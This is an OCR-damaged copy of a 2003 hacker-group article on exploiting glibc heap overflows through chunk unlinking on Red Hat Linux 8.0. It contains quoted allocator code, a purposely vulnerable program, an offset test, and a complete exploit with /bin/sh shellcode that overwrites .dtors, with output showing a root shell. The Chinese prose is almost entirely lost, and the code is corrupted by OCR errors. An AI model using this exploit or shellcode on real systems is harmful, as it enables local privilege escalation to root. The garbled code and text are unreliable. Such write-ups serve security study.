CNHONKER.

g z 63 13 | -
(heap)
[ bkbll
-
- 2003-09-01
-
-
: <« 1 / 3594
-
| 3
(heap)
_ bkbll(bkbll@cnhonker.net)

2003-9-1

[1].
(heap overflow) stack overflow, BSS . heap overflow
, w00w00 <w0O0wO00 on Heap Overflows>,
warning3 , :

readasm http://www.w00w00.org/files/articles/heaptut-chinese.txt, :

http://www.w00wO00.org/files/articles/heaptut.txt, warning3 1<

heap >, :
http://www.nsfocus.net/index.php?
act=sec_self&do=view&doc_id=529&keyword=heap
RingZ_RgeEdit 2 .
F;r/iﬁggrcz Rh linux 8.0 default install . ,
remote root exploit glibc>=2.2.5 , glibc2.2.4(rh7.2) , warning3
, glibc>=2.2.5. rh linux 8.0 glibc-2.2.93-
5.
[3]. dlibc<=2.2.5
malloc . warning3 ,
(int_free , , ):

void _int_free(mstate av, Void_t* mem)

{

if (mem !=0) {// mem!=NULL

p = mem2chunk(mem);

size = chunksize(p);

check_inuse_chunk(av, p);

if ((unsigned long)(size) <= (unsigned long)(av->max_fast) // ,
<64bytes

#if TRIM_FASTBINS

&& (chunk_at_offset(p, size) != av->top) // top
#endif

set_fastchunks(av);

fb = &(av->fastbins[fasthin_index(size)]);
p->fd = *fb;

*b = p;

else if (Ichunk_is_mmapped(p)) // mmap

{

nextchunk = chunk_at_offset(p, size);




nextsize = chunksize(nextchunk);
assert(nextsize > 0);

/* consolidate backward */

if (prev_inuse(p)) // size

{

prevsize = p->p|’eV_Size;

size += prevsize;

p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd); //

if (nextchunk != av->top)

/* get and clear inuse bit */

nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

[l#define clear_inuse_bit_at_offset(p, s) (((mchunkptr)(((char*)(p)) + (s)))->size
&= ~(PREV_INUSE))

* consolidate forward */

if (Inextinuse) //

{
unlink(nextchunk, bck, fwd);
size += nextsize;

}
else // top
{
}
I >0x(ffff )/

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)

if (have_fastchunks(av))
malloc_consolidate(av);

}

else {// mmap

}

1. free <64 ,
2. size Oxffff , ,

chunk , , size OXxffff.
3. 8 .
1 2 (unsigned long) ,
, 2 , size )

, size

[4]. :
[* just for fun */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc,char **argv)

char *p1;
char *p2;

if(argc<2)
{

printf("Usage:%s <string>\n",argv[0]);
exit(0);

}
if(strlen(argv[1])>40-1)

printf("ERROR:too long\n");
exit(0);

}
pl=(char *)malloc(20);



p2=(char *)malloc(40);
memset(p1,0,20);
memset(p2,0,40);
strepy(p2,argv[i]);
strepy(pl,p2);

printf("[+] input:%s\n",p1);
memset(p2,0,40);

free(pl);
free(p2);
exit(0);
}
[5].
heap overflow , chunk2 chunk3
exp , .
, :p2 prev_size p2 size
p2 :
, inuse , unlik
size , OXxffff.
( , p2 pl, p3, p3
p4)
1. pl, unlink . p2 prev_inuse
2. p3 unlink , p3 , p4.
p3 unlink , size>0,
( strepy, 0x00):
1. p2 size>0 p2 , 0x00. p3 p2
, p2 0,p3 fd bk
2. p2 size<0 p3 size>0 Oxffff>(p3->size+p2->size)>0.
p3->size p4 , p3->size
0x00. p3,
, p3 unlink
pl .
pl :pl addr=p2 addr — p2->prev_size, p2
0, prev_size , p2
size, prev_size 0x00 , p2->prev_size
, OxDbffff ,
,Size , pl
? P1 .
P1 , Oxffff>(p2->size+pl->size)>0, p3,
p2->size, pl non-use
2
p2 p2addr,pl pladdr,pl plsize,p2
p2size,p3 p3addr, plsize+p2size=offset, offset 0 Oxffff
p2addr-plsize=pladdr ------------
p2addr+p2size=p3addr  ------------
plsize+p2size=offset  ----------—--
p2size+plsize=p3addr-pladdr
offset=p3addr-pladdr,
p3addr=pladdr+offset.
pl , offset p3, p4
: p3addr-p2addr p2size non-map
non-use . p2size 8 , , p2size 8.
) p3
p3 p2 8? 2
: pl p3 :

|AAAAJAAAA| FD | BK |[AAA.AAAAA|AAAA| P3SIZE|
pl p3




pl prev_size pl size, p4 size inuse

0, , p3->size Oxfffffff8(-8), p4=p3+p3->size=p3-8,
*(char *)(p3-1) 1 . A .
P1 P3 shellcode,

| | | XXXXXXXXXXXA|AAAA] -8 | shellcode |
p1+8 pl+12 p3

, p3 .
, XXXA|AAAA| -8 | ,
XXXAJAAAA , 16 ,

XXXXA[AAAA|-8|

netconf@linux1 challenge]$ cat testl.c

/* test for 32 bits value */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SIZE 200
#define PAD 5

#define FG A’

#define ADDR Oxfffffff8

void foo(int offset,char *buffer)

{

int i,found=0;
for(i=offset;i<strlen(buffer);i+=16)

{
if((buffer[i]==FG) && (buffer[i+1]==FG) && (buffer[i+2]
==FG) && (buffer[i+3]==FG) && (*(unsigned int *)(buffer+i+4)
==ADDR))

{
printf("[+] found.i:%3d,cont:%c%c%c%c ADDR:%
p\n",i,buffer[i],buffer[i+1],buffer[i+2],buffer[i+3],*(unsigned int *)
(buffer+i+4));

found=1;
continue;
¥
s
if(found==0) printf("[-] not found\n");
3
main(int argc,char **argv)
{
char buffer[SIZE];
inti,j;
int pd=PAD;

if(argc>1) pd=atoi(argv[1]);
memset(buffer,0,SIZE);
for(i=0;i<SIZE-1;i+=pd+4)
{

memset(buffer+i,FG,pd);

*(unsigned int *)(buffer+i+pd)=ADDR;
}
printf("[+] PAD=%d\n\n",pd);
for(j=0;j<pd;j++)

printf("[+] Offset:%d\n",j);
foo(j,buffer);




[netconf@linux1 challenge]$
1-9 PAD

[netconf@linux1 challenge]$ gcc -o testl testl.c
[netconf@linux1 challenge]$ ./testl 1
[+] PAD=1

[+] Offset:0

[-] not found

[netconf@linux1 challenge]$ ./testl 2
[+] PAD=2

[+] Offset:0

[-] not found

[+] Offset:1

[-] not found

[netconf@linux1 challenge]$ ./testl 3
[+] PAD=3

[+] Offset:0

[-] not found

[+] Offset:1

[-] not found

[+] Offset:2

[-] not found

[netconf@linux1 challenge]$ ./testl 4
[+] PAD=4

[+] Offset:0

[+] found.i: 0,cont:AAAA ADDR:Oxfffffff8

[+] found.i: 16,cont:AAAA ADDR:Oxfffffff8
[+] found.i: 32,cont: AAAA ADDR:Oxfffffff8
[+] found.i: 48,cont:AAAA ADDR:Oxfffffff8
[+] found.i: 64,cont:AAAA ADDR:Oxfffffff8
[+] found.i: 80,cont:AAAA ADDR:Oxfffffff8
[+] found.i: 96,cont:AAAA ADDR:Oxfffffff8
[+] found.i:112,cont: AAAA ADDR:Oxfffffff8
[+] found.i:128,cont: AAAA ADDR:Oxfffffff8
[+] found.i:144,cont: AAAA ADDR:Oxfffffff8
[+] found.i:160,cont: AAAA ADDR:Oxfffffff8
[+] found.i:176,cont: AAAA ADDR:Oxfffffff8
[+] found.i:192,cont: AAAA ADDR:Oxfffffff8
[+] Offset:1

[-] not found

[+] Offset:2

[-] not found

[+] Offset:3

[-] not found

[netconf@linux1 challenge]$ ./testl 5

[+] PAD=5

[+] Offset:0

[+] found.i: 64,cont:AAAA ADDR:Oxfffffff8
[+] Offset:1

[+] found.i: 1,cont:AAAA ADDR:Oxfffffff8

[+] found.i:145,cont: AAAA ADDR:Oxfffffff8
[+] Offset:2

[+] found.i: 82,cont: AAAA ADDR:Oxfffffff8
[+] Offset:3

[+] found.i: 19,cont:AAAA ADDR:Oxfffffff8
[+] found.i:163,cont: AAAA ADDR:Oxfffffff8
[+] Offset:4

[+] found.i:100,cont:AAAA ADDR:Oxfffffff8
[netconf@linux1 challenge]$ ./testl 6

[+] PAD=6




[+] Offset:0

[+] found.i: 32,cont:AAAA ADDR:Oxfffffff8
[+] found.i:112,cont:AAAA ADDR:Oxfffffff8
[+] found.i:192,cont: AAAA ADDR:Oxfffffff8
[+] Offset:1

[-] not found

[+] Offset:2

[+] found.i: 2,cont:AAAA ADDR:Oxfffffff8

[+] found.i: 82,cont:AAAA ADDR:Oxfffffff8
[+] found.i:162,cont:AAAA ADDR:Oxfffffff8
[+] Offset:3

[-] not found

[+] Offset:4

[+] found.i: 52,cont:AAAA ADDR:Oxfffffff8
[+] found.i:132,cont: AAAA ADDR:Oxfffffff8
[+] Offset:5

[-] not found

[netconf@linux1 challenge]$ ./testl 7

[+] PAD=7

[+] Offset:0

[+] found.i: 80,cont:AAAA ADDR:Oxfffffff8
[+] Offset:1

[+] found.i:113,cont: AAAA ADDR:Oxfffffff8
[+] Offset:2

[+] found.i:146,cont: AAAA ADDR:Oxfffffff8
[+] Offset:3

[+] found.i: 3,cont:AAAA ADDR:Oxfffffff8

[+] found.i:179,cont: AAAA ADDR:Oxfffffff8
[+] Offset:4

[+] found.i: 36,cont: AAAA ADDR:Oxfffffff8
[+] Offset:5

[+] found.i: 69,cont:AAAA ADDR:Oxfffffff8
[+] Offset:6

[+] found.i:102,cont:AAAA ADDR:Oxfffffff8
[netconf@linux1 challenge]$ ./testl 8

[+] PAD=8

[+] Offset:0

[+] found.i: 16,cont:AAAA ADDR:Oxfffffff8
[+] found.i: 64,cont:AAAA ADDR:Oxfffffff8
[+] found.i:112,cont: AAAA ADDR:Oxfffffff8
[+] found.i:160,cont: AAAA ADDR:Oxfffffff8
[+] Offset:1

[-] not found

[+] Offset:2

[-] not found

[+] Offset:3

[-] not found

[+] Offset:4

[+] found.i: 4,cont:AAAA ADDR:Oxfffffff8

[+] found.i: 52,cont: AAAA ADDR:Oxfffffff8
[+] found.i:100,cont:AAAA ADDR:Oxfffffff8
[+] found.i:148,cont: AAAA ADDR:Oxfffffff8
[+] found.i:196,cont: AAAA ADDR:Oxfffffff8
[+] Offset:5

[-] not found

[+] Offset:6

[-] not found

[+] Offset:7

[-] not found

[netconf@linux1 challenge]$ ./testl 9

[+] PAD=9

[+] Offset:0
[+] found.i: 96,cont: AAAA ADDR:Oxfffffff8
[+] Offset:1



[+] found.i:161,cont: AAAA ADDR:Oxfffffff8
[+] Offset:2

[+] found.i: 18,cont:AAAA ADDR:Oxfffffff8
[+] Offset:3

[+] found.i: 83,cont:AAAA ADDR:Oxfffffff8
[+] Offset:4

[+] found.i:148,cont:AAAA ADDR:Oxfffffff8
[+] Offset:5

[+] found.i: 5,cont:AAAA ADDR:Oxfffffff8

[+] Offset:6

[+] found.i: 70,cont:AAAA ADDR:Oxfffffff8
[+] Offset:7

[+] found.i:135,cont: AAAA ADDR:Oxfffffff8
[+] Offset:8

[+] found.i:200,cont: AAAA ADDR:Oxfffffff8
[netconf@linux1 challenge]$

, buffer , PAD 5,7,9 ,
5 p3.
[6]. exp
exploit
netconf@linux1 challenge]$ cat exp4.c

* exp4 */
#include <stdlib.h>
#Hinclude <stdio.h>
#include <unistd.h>

#define SIZE 20

#define FILL 200 /* p3 */
#define PAD 5

#define want_write_to_addr 0x080496dc+4-3*4 /*.dtors */

#define P2ADDR 0x08049738 /* p2 (chunk ) >/
#define shell_addr Oxbfffffa7 /* shellcode */

#define PSADDR Oxbfffff60 /* p2->next */
#define PLADDR (unsigned long)(shell_addr-(FILL/(PAD+4))*
(PAD+4)-0x08+1) /* p2->prev chunk */

#define VULN " /vul2"”

char shellcode[] =

"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
x90"

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

"\x31\xc0O\x50\x50\xb0\xb5\xcd\x80"

"\xeb\x1RA\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0
X0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40
xcd"

""\x80\xe8\xdc\xfA\xfA\xff/bin/sh";

main(int argc,char *argv[])
{
int i,size=SIZE,size2,length;
char *env[2],envbuf[400],buffer[100];
unsigned long plsize,p2size,pladdr;

memset(buffer,0,100);
if(argc>1) size=atoi(argv[1]);
length=(int)(size+4)/8;

if(length*8 == (size+4))length--;
length*=8;

for(i=0;i<length;i++)
buffer[i]="A";
size2=P3ADDR-P1ADDR;




plsize=size2-(P3ADDR-P2ADDR);
p2size=P3ADDR-P2ADDR;
printf("p2size+plsize:%p+%p=%
#x\n",p2size,plsize,p2size+plsize);
printf("pladdr:%op,p2addr:%p,p3addr=%
p\n",P1ADDR,P2ADDR,P3ADDR);
*(unsigned long *)(buffer+i)=plsize;
i+=4;
*(unsigned long *)(buffer+i)=p2size;
i+=4;

memset(envbuf,0,400);
strcpy(envbuf,"STR=");
i=strlen(envbuf);
// pl p3
*(unsigned long *)(envbuf+i)=want_write_to_addr;
*(unsigned long *)(envbuf+i+4)=shell_addr;
i+=8;
for(i;i<200;i+=9)
{
memset(envbuf+i,'A’,PAD);
*(unsigned long *)(envbuf+i+PAD)=0xfffffff8;
}

memcpy(envbuf+i,shellcode,strlen(shellcode));

env[0]=envbuf;
env[1]=NULL;
execle(VULN,VULN,buffer,NULL,env);

b

[netconf@linux1 challenge]$ ./exp4
p2size+plsize:0xb7fb6828+0x4804985e=0x86
pladdr:Oxbffffeda,p2addr:0x8049738,p3addr=0xbfffff60
[+] inpUt: AAAAAAAAAAAAAAAAN  (h

sh-2.05b# id

uid=0(root) gid=500(netconf) groups=500(netconf)
sh-2.05b#

[71.

1. warning3: < heap >
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